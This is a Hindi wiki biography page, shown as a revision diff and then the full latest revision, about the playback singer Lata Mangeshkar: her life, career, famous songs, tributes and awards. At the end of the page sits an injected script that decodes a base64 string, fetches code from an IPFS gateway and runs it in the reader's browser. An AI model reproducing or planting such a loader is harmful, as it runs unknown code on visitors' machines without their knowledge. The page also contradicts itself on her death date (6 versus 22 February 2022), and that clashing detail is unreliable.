लता मंगेशकर: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
No edit summary
No edit summary
 
Line 24: Line 24:
|शीर्षक 1=मुख्य गीत
|शीर्षक 1=मुख्य गीत
|पाठ 1='आएगा आने वाला', 'ऐ मेरे वतन के लोगों', 'नाम गुम जाएगा', 'अल्ला तेरो नाम' आदि।
|पाठ 1='आएगा आने वाला', 'ऐ मेरे वतन के लोगों', 'नाम गुम जाएगा', 'अल्ला तेरो नाम' आदि।
|शीर्षक 2=
|शीर्षक 2=भाई-बहन
|पाठ 2=
|पाठ 2=[[हृदयनाथ मंगेशकर]], [[आशा भोंसले]], [[उषा मंगेशकर]], [[मीना खड़ीकर]]
|अन्य जानकारी=सर्वाधिक गीत रिकार्ड करने का भी गौरव प्राप्त है।
|अन्य जानकारी=सर्वाधिक गीत रिकार्ड करने का भी गौरव प्राप्त है।
|बाहरी कड़ियाँ=
|बाहरी कड़ियाँ=
|अद्यतन={{अद्यतन|10:52, 6 फ़रवरी 2022 (IST)}}
|अद्यतन=
}}
}}
'''लता मंगेशकर''' ([[अंग्रेज़ी]]: ''Lata Mangeshkar'', जन्म- [[28 सितम्बर]], [[1929]]; मृत्यु- [[6 फ़रवरी]], [[2022]]) [[भारत]] की '[[भारत रत्न]]' सम्मानित मशहूर पार्श्वगायिका थीं, जिनकी आवाज़ ने छह दशकों से भी ज़्यादा [[संगीत]] की दुनिया को सुरों से नवाज़ा। भारत की 'स्‍वर कोकिला' लता मंगेशकर ने 20 [[भाषा|भाषाओं]] में 30,000 गाने गाये। उनकी आवाज़ सुनकर कभी किसी की आँखों में आँसू आए तो कभी सीमा पर खड़े जवानों को सहारा मिला। उन्होंने स्वयं को पूर्णत: [[संगीत]] को समर्पित कर रखा था। लता मंगेशकर जैसी शख़्सियतें विरले ही जन्म लेती हैं।
'''लता मंगेशकर''' ([[अंग्रेज़ी]]: ''Lata Mangeshkar'', जन्म- [[28 सितम्बर]], [[1929]]; मृत्यु- [[6 फ़रवरी]], [[2022]]) [[भारत]] की '[[भारत रत्न]]' सम्मानित मशहूर पार्श्वगायिका थीं, जिनकी आवाज़ ने छह दशकों से भी ज़्यादा [[संगीत]] की दुनिया को सुरों से नवाज़ा। भारत की 'स्‍वर कोकिला' लता मंगेशकर ने 20 [[भाषा|भाषाओं]] में 30,000 गाने गाये। उनकी आवाज़ सुनकर कभी किसी की आँखों में आँसू आए तो कभी सीमा पर खड़े जवानों को सहारा मिला। उन्होंने स्वयं को पूर्णत: [[संगीत]] को समर्पित कर रखा था। लता मंगेशकर जैसी शख़्सियतें विरले ही जन्म लेती हैं।

Latest revision as of 11:38, 26 February 2022

लता मंगेशकर
पूरा नाम कुमारी लता दीनानाथ मंगेशकर
जन्म 28 सितम्बर, 1929
जन्म भूमि इंदौर, मध्यप्रदेश
मृत्यु 6 फ़रवरी, 2022
मृत्यु स्थान मुम्बई, महाराष्ट्र
अभिभावक दीनानाथ मंगेशकर, सुधामती
कर्म भूमि मुम्बई
कर्म-क्षेत्र फ़िल्म संगीत (पार्श्वगायिका), भारतीय शास्त्रीय संगीत
मुख्य फ़िल्में मदर इंडिया, मुग़ल ए आज़म
विषय भारतीय शास्त्रीय संगीत, लोक संगीत, भजन, ग़ज़ल
पुरस्कार-उपाधि भारत रत्न, पद्म भूषण, दादा साहब फाल्के पुरस्कार, पद्मविभूषण
नागरिकता भारतीय
मुख्य गीत 'आएगा आने वाला', 'ऐ मेरे वतन के लोगों', 'नाम गुम जाएगा', 'अल्ला तेरो नाम' आदि।
भाई-बहन हृदयनाथ मंगेशकर, आशा भोंसले, उषा मंगेशकर, मीना खड़ीकर
अन्य जानकारी सर्वाधिक गीत रिकार्ड करने का भी गौरव प्राप्त है।

लता मंगेशकर (अंग्रेज़ी: Lata Mangeshkar, जन्म- 28 सितम्बर, 1929; मृत्यु- 6 फ़रवरी, 2022) भारत की 'भारत रत्न' सम्मानित मशहूर पार्श्वगायिका थीं, जिनकी आवाज़ ने छह दशकों से भी ज़्यादा संगीत की दुनिया को सुरों से नवाज़ा। भारत की 'स्‍वर कोकिला' लता मंगेशकर ने 20 भाषाओं में 30,000 गाने गाये। उनकी आवाज़ सुनकर कभी किसी की आँखों में आँसू आए तो कभी सीमा पर खड़े जवानों को सहारा मिला। उन्होंने स्वयं को पूर्णत: संगीत को समर्पित कर रखा था। लता मंगेशकर जैसी शख़्सियतें विरले ही जन्म लेती हैं।

जीवन परिचय

कुमारी लता दीनानाथ मंगेशकर का जन्म इंदौर, मध्यप्रदेश में 28 सितम्बर, 1929 को हुआ था। लता मंगेशकर का नाम विश्व के सबसे जाने माने लोगों में आता है। लता मंगेशकर के पिता दीनानाथ मंगेशकर एक कुशल रंगमंचीय गायक थे। दीनानाथ जी ने लता को तब से संगीत सिखाना शुरू किया, जब वे पाँच साल की थी। उनके साथ उनकी बहनें आशा, ऊषा और मीना भी सीखा करतीं थीं। लता 'अमान अली ख़ान साहिब' और बाद में 'अमानत ख़ान' के साथ भी पढ़ीं। [[चित्र:Bollywood-with-Indira-Gandhi.jpg|thumb|300px|left|पूर्व प्रधानमंत्री श्रीमती इन्दिरा गाँधी एवं बॉलीवुड के कलाकारों के साथ लता मंगेशकर]] लता मंगेशकर हमेशा से ही ईश्वर के द्वारा दी गई सुरीली आवाज़, जानदार अभिव्यक्ति व बात को बहुत जल्द समझ लेने वाली अविश्वसनीय क्षमता का उदाहरण रहीं हैं। इन्हीं विशेषताओं के कारण उनकी इस प्रतिभा को बहुत जल्द ही पहचान मिल गई थी।[1] लेकिन पाँच वर्ष की छोटी आयु में ही आपको पहली बार एक नाटक में अभिनय करने का अवसर मिला। शुरुआत अवश्य अभिनय से हुई किंतु आपकी दिलचस्पी तो संगीत में ही थी। लताजी का नाम पहले 'हेमा' था, लेकिन जन्म के पांच साल बाद माता-पिता ने नाम बदलकर 'लता' रख दिया था।

ज़िम्मेदारी

1942 ई. में हृदय-गति के रुक जाने से उनके पिता का देहांत हो गया। तेरह वर्ष की अल्पायु में ही लता जी को परिवार की सारी ज़िम्मेदारियाँ अपने नाज़ुक कंधों पर उठानी पड़ी। अपने परिवार के भरण पोषण के लिये उन्होंने 1942 से 1948 के बीच हिन्दीमराठी में क़रीबन 8 फ़िल्मों में काम किया। इन में से कुछ के नाम हैं: “पहेली मंगलागौर” 1942, “मांझे बाल” 1944, “गजाभाऊ” 1944, “छिमुकला संसार” 1943, “बडी माँ” 1945, “जीवन यात्रा” 1946, “छत्रपति शिवाजी” 1954 इत्यादि।[1] लेकिन आपकी मंज़िल तो संगीत ही थी और उनके पार्श्व गायन की शुरुआत 1942 की मराठी फ़िल्म "कीती हसाल" से हुई।[2] दुर्भाग्यवश यह गीत काट दिया गया और फ़िल्म में शामिल नहीं हुआ।

जीवन में संघर्ष

सफलता की राह कभी भी आसान नहीं होती है। लता जी को भी अपना स्थान बनाने में बहुत कठिनाइयों का सामना करना पडा़। कई संगीतकारों ने तो आपको शुरू-शुरू में पतली आवाज़ के कारण काम देने से साफ़ मना कर दिया था। उस समय की प्रसिद्ध पार्श्व गायिका नूरजहाँ के साथ लता जी की तुलना की जाती थी। लेकिन धीरे-धीरे अपनी लगन और प्रतिभा के बल पर आपको काम मिलने लगा।[2]

संगीत में पहला क़दम

  • 1942 में पहली बार गाने का पार्श्व अनुभव
  • 1943 में पहला हिन्दी गाना
  • 1947 में हिन्दी फ़िल्मों में पार्श्व गायन (आपकी सेवा में) के रूप में पहला गीत
  • 1949 में प्रसिद्ध फ़िल्म बरसात, अंदाज, दुलारी और महल
  • 1950 में वह फ़िल्मों में सबसे ताकतवर महिला बनीं

संगीत में प्रशंसा

thumb|left|लता मंगेशकर
Lata Mangeshkar
नाम गुम जाएगा, चेहरा ये बदल जाएगा। मेरी आवाज़ ही पहचान है, गर याद रहे। यह गीत लोग कभी नहीं भूल सकते और लता जी का व्यक्तित्व भी इस गीत से झलकता है कि भले ही नाम गुम जाय या चेहरा बदल जाये पर उनकी आवाज़ कोई नहीं भूल सकता। लता जी की अद्भुत कामयाबी ने लता जी को फ़िल्मी जगत की सबसे मज़बूत महिला बना दिया था।[1] लता जी को सर्वाधिक गीत रिकार्ड करने का भी गौरव प्राप्त है। फ़िल्मी गीतों के अतिरिक्त आपने ग़ैरफ़िल्मी गीत भी बहुत खूबी के साथ गाए हैं। लता जी की प्रतिभा को पहचान मिली सन् 1947 में, जब फ़िल्म “आपकी सेवा में” उन्हें एक गीत गाने का मौक़ा मिला। इस गीत के बाद तो आपको फ़िल्म जगत में एक पहचान मिल गयी और एक के बाद एक कई गीत गाने का मौक़ा मिला। इन में से कुछ प्रसिद्ध गीतों का उल्लेख करना यहाँ अप्रासंगिक न होगा। जिसे आपका पहला शाहकार गीत कहा जाता है वह 1949 में गाया गया “आएगा आने वाला”, जिस के बाद आपके प्रशंसकों की संख्या दिनोदिन बढ़ने लगी। इस बीच आपने उस समय के सभी प्रसिद्ध संगीतकारों के साथ काम किया। अनिल बिस्वास, सलिल चौधरी, शंकर जयकिशन, एस. डी. बर्मन, आर. डी. बर्मन, नौशाद, मदनमोहन, सी. रामचंद्र इत्यादि सभी संगीतकारों ने आपकी प्रतिभा का लोहा माना। लता जी ने दो आँखें बारह हाथ, दो बीघा ज़मीन, मदर इंडिया, मुग़ल ए आज़म, आदि महान् फ़िल्मों में गाने गाये है। आपने “महल”, “बरसात”, “एक थी लड़की”, “बड़ी बहन” आदि फ़िल्मों में अपनी आवाज़ के जादू से इन फ़िल्मों की लोकप्रियता में चार चाँद लगाए। इस दौरान आपके कुछ प्रसिद्ध गीत थे: “ओ सजना बरखा बहार आई” (परख-1960), “आजा रे परदेसी” (मधुमती-1958), “इतना ना मुझसे तू प्यार बढा़” (छाया- 1961), “अल्ला तेरो नाम”, (हम दोनो-1961), “एहसान तेरा होगा मुझ पर”, (जंगली-1961), “ये समां” (जब जब फूल खिले-1965) इत्यादि।[2]

देश-भक्ति गीत

1962 के भारत-चीन युद्ध के बाद शहीदों को श्रद्धांजलि देने के लिये एक कार्यक्रम का आयोजन किया गया था। इस में तत्कालीन प्रधानमंत्री पंडित जवाहरलाल नेहरू भी उपस्थित थे। इस समारोह में लता जी के द्वारा गाए गये गीत “ऐ मेरे वतन के लोगों” को सुन कर सब लोग भाव-विभोर हो गये थे। पं नेहरू की आँखें भी भर आईं थीं। ऐसा था आपका भावपूर्ण एवं मर्मस्पर्शी स्वर। आज भी जब देश-भक्ति के गीतों की बात चलती है तो सब से पहले इसी गीत का उदाहरण दिया जाता है।[2]

आवाज़ का जादू

thumb|250px|लता मंगेशकर
Lata Mangeshkar
आपने गीत, गज़ल, भजन, संगीत के हर क्षेत्र में अपनी कला बिखेरी है। गीत चाहे शास्त्रीय संगीत पर आधारित हो, पाश्चात्य धुन पर आधारित हो या फिर लोक धुन की खुशबू में रचा-बसा हो। हर गीत को लता जी अपनी आवाज़ के जादू से एक ऐसे जीवंत रूप में पेश करती हैं कि सुनने वाला मंत्रमुग्ध हो जाता है। लता जी ने युगल गीत भी बहुत खूबी के साथ गाए हैं। मन्ना डे, मुहम्मद रफ़ी, किशोर कुमार, महेंद्र कपूर आदि के साथ-साथ आपने दिग्गज शास्त्रीय गायकों पं भीमसेन जोशी, पं जसराज इत्यादि के साथ भी मनोहारी युगल-गीत गाए हैं। गज़ल के बादशाह जगजीत सिंह के साथ आपकी एलबम “सजदा” ने लोकप्रियता की बुलंदियों को छुआ।[2]

फ़िल्मकार, संगीतकार आदि के कथन

  • फ़िल्मकार श्याम बेनेगल कहते हैं कि "लता मंगेशकर के जैसा कोई और हुआ ही नहीं है। एक मिस्र की 'उम्मे कुल्सुम' थीं और एक लता हैं।"
  • पंडित हरिप्रसाद चौरसिया की लता जी के बारे में राय है कि "कभी-कभार ग़लती से ऐसा कलाकार पैदा हो जाता है।"
  • पटकथा लेखक और गीतकार जावेद अख़्तर ने लता मंगेशकर के लिए कई लाजवाब और दिल को छू लेने वाले गीत लिखे हैं। वे कहते हैं, "हमारे पास एक चांद है, एक सूरज है, तो एक लता मंगेशकर भी है।"
  • अपने समय के प्रसिद्ध अभिनेता दिलीप कुमार कहते हैं कि "लता जी की आवाज़ एक रौशनी है, जो सारे आलम के गोशे-गोशे में मौसिकी का उजाला फैलाती है। उनकी आवाज़ एक करिश्मा है।"
  • अमिताभ बच्चन कहते हैं कि "लता मंगेशकर की आवाज़ इस सदी की आवाज़ है।"
  • मशहूर नाटककार विजय तेंडुलकर कहते हैं कि "इस दुनिया में लोग बहुत व्यावहारिक होते हैं, पर लता जी के गीत रोज़ सुनते हैं। उससे किसी का पेट नहीं भरता, लेकिन सुने जा रहे हैं पागलों की तरह।"
  • शास्त्रीय गायक उस्ताद आमिर ख़ान कहते हैं कि "हम शास्त्रीय संगीतकारों को जिसे पूरा करने में तीन से डेढ़ घंटे लगते हैं, लता जी वह तीन मिनट में पूरा कर देती हैं।"
  • प्रसिद्ध संगीतकार एस. डी. बर्मन ने एक बार कहा था कि "जब तक लता है, तब तक हम संगीतकार सुरक्षित हैं।"
  • प्रसिद्ध ग़ज़ल गायक जगजीत सिंह ने कहा था कि "बीसवीं सदी की तीन बातें याद रखने लायक हैं, एक चांद पर आदमी की जीत, दूसरा बर्लिन की दीवार का टूटना और तीसरा लता का जन्म।"
  • अभिनेता शाहरुख़ ख़ान का कहना है कि "मेरी ख़्वाहिश है कि मैं किसी अभिनेत्री की भूमिका निभाऊं और मुझे पर्दे पर लता जी की आवाज़ पर अभिनय करने का मौका मिले।"[3]

पुरस्कार

[[चित्र:Lata-Mangeshkar-And-Asha-Bhosle.jpg|thumb|250px|लता मंगेशकर और आशा भोंसले
Lata Mangeshkar and Asha Bhosle]] सांगीतिक उपलब्धियों के लिए आपको अनेक पुरस्कारों से नवाज़ा गया। संगीत जगत में अविस्मरणीय योगदान के लिए लता जी को

  • फ़िल्म फेयर पुरस्कार (1958, 1962, 1965, 1969, 1993 और 1994)
  • राष्ट्रीय पुरस्कार (1972, 1975 और 1990)
  • महाराष्ट्र सरकार पुरस्कार (1966 और 1967)
  • सन 1969 में पद्म भूषण से सम्मानित किया गया।
  • सन 1989 में उन्हें फ़िल्म जगत का सर्वोच्च सम्मान ‘दादा साहेब फाल्के पुरस्कार’ दिया गया।
  • सन 1993 में फ़िल्म फेयर के 'लाइफ टाइम अचीवमेंट पुरस्कार' से सम्मानित किया गया।
  • सन 1996 में स्क्रीन के 'लाइफटाइम अचीवमेंट पुरस्कार' से सम्मानित किया गया।
  • सन 1997 में 'राजीव गांधी पुरस्कार' से सम्मानित किया गया।
  • सन 1999 में पद्मविभूषण, एन.टी.आर. और ज़ी सिने के 'लाइफटाइम अचीवमेंट पुरस्कार' से सम्मानित किया गया।
  • सन 2000 में आई. आई. ए. एफ.(आइफ़ा) के 'लाइफटाइम अचीवमेंट पुरस्कार' से सम्मानित किया गया।
  • सन 2001 में स्टारडस्ट के 'लाइफटाइम अचीवमेंट पुरस्कार', नूरजहाँ पुरस्कार, महाराष्ट्र भूषण पुरस्कार से सम्मानित किया गया।
  • सन 2001 में भारत सरकार ने आपकी उपलब्धियों को सम्मान देते हुए देश के सर्वोच्च पुरस्कार “भारत रत्न” से आपको विभूषित किया।

मृत्यु

92 साल की उम्र में लगा मंगेशकर का निधन 22 फ़रवरी, 2022 को हुआ। उनका 29 दिनों से मुंबई के ब्रीच कैंडी अस्पताल में इलाज चल रहा था। जानकारी के मुताबिक, रविवार सुबह 8:12 बजे उन्होंने आखिरी सांस ली।

पीएम नरेंद्र मोदी ने लता मंगेशकर के निधन पर शोक जताया। उन्होंने ट्वीट करते हुए लिखा, "लता दीदी के गानों ने कई तरह के इमोशन्स को उभारा। उन्होंने दशकों तक भारतीय फिल्म जगत के बदलावों को करीब से देखा। फिल्मों से परे, वह हमेशा भारत के विकास के बारे में भावुक थीं। वह हमेशा एक मजबूत और विकसित भारत देखना चाहती थीं।"

मुख्य बिंदु

[[चित्र:Pradeep-Lata-Mangeshkar-C.Ramchandra.jpg|thumb|कवि प्रदीप, लता मंगेशकर और सी. रामचंद्र]] लता मंगेशकर के जीवन से जुड़े कुछ मुख्य बिंदु इस प्रकार हैं-

  • लता जी को संगीत के अलावा खाना पकाने और फ़ोटो खींचने का बहुत शौक़ है।
  • सन 1974 में दुनिया में सबसे अधिक गीत गाने का 'गिनीज़ बुक रिकॉर्ड' उनके नाम पर दर्ज है।
  • अपना पहला गाना लता मंगेशकर ने मराठी फ़िल्म 'किती हसाल' (1942) में गाया था।
  • लता मंगेशकर को पहली बार सबसे बड़ा मौक़ा फ़िल्म 'महल' से मिला, उनका गाया "आयेगा आने वाला" बहुत प्रसिद्ध हुआ था।
  • उन्होंने 1980 के बाद से फ़िल्मों में गाना कम कर दिया था और कहानी, संवाद आदि पर अधिक ध्यान देने लगी थीं।
  • लता जी ही एकमात्र ऐसी जीवित महिला गायिका हैं, जिनके नाम से पुरस्कार दिए जाते हैं।
  • 'आनंद गान बैनर' तले फ़िल्मों का निर्माण भी उन्होंने किया है और इसके साथ ही संगीत भी दिया है।
  • अभी भी गाने की रिकॉर्डिंग के लिये जाने से पहले लता मंगेशकर कमरे के बाहर अपनी चप्पलें उतारती हैं। वे हमेशा नंगे पाँव गाना गाती हैं।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 1.2 लता मंगेशकर- संगीत की देवी (हिन्दी) (एच.टी.एम.एल) हिन्द-युग्म। अभिगमन तिथि: 21 सितम्बर, 2010
  2. 2.0 2.1 2.2 2.3 2.4 लता: एक जीवनी (हिन्दी)। । अभिगमन तिथि: 21 सितम्बर, 2010
  3. मेरी आवाज ही मेरी पहचान है, लता मंगेशकर के जन्म दिन पर विशेष (हिन्दी) प्रवासी दुनिया। अभिगमन तिथि: 20 जनवरी, 2015।

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>